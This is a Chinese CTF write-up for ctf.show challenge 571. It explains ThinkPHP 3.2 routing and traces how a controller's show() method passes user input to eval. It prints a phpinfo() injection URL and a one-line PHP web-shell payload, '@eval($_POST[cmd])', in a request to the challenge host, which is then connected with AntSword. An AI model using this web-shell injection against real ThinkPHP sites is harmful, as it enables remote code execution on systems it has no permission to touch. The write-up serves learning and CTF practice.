基础知识
关于thinkphp需要知道的基本知识 https://www.kancloud.cn/manual/thinkphp/1696
 demo1 修改 D:\phpStudy\PHPTutorial\WWW\thinkphp-3.2\thinkphp-3.2\Application\Home\Controller\IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index($n)
{
echo "hello ".$n;
}
}
访问
http://127.0.0.1/thinkphp-3.2/thinkphp-3.2/index.php/Home/Index/index?n=111
 换句话说,在运行thinkphp这个项目时,我们只能通过控制器去运行,执行代码,单步调试,无法直接运行某个文件,会爆出找不到xxx的错误。 例如
Class 'Think\Controller' not found in C:\phpStudy\PHPTutorial\WWW\thinkphp-3
下面说一下 访问的形式 PATHINFO模式
http://localhost/index.php/Home/Index/index/?n=111
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&n=111
兼容模式
http://localhost/index.php?s=Home/Index/index/n/111
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。 REWRITE模式
http://localhost/Home/Index/index/n/111
题解-571
下面开始讲解571题 先写一个demo
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n){
$this->show($n);
}
}
我们要分析一下show这个函数的走向,在vscode上下断点  不要在编辑器里面直接运行!!! 然后访问这个路径
http://127.0.0.1/thinkphp-3.2/thinkphp-3.2/index.php/Home/Index/index?n=dmind<?php phpinfo();?>dmind
代码开始走   执行到这里发现eval函数去执行content
走到这里基本上思路清晰,相当于show方法最后调用eval函数,命令执行。
接下来操作就多了,我比较喜欢直接拿shell。 蚁剑直接连
http://68ceaf9b-dbc4-4175-8c29-a703401298ee.challenge.ctf.show:8080/index.php/Home/Index/index?n=dmind%3C?php%20@eval($_POST[cmd]);?%3Edmind
成功拿下。
|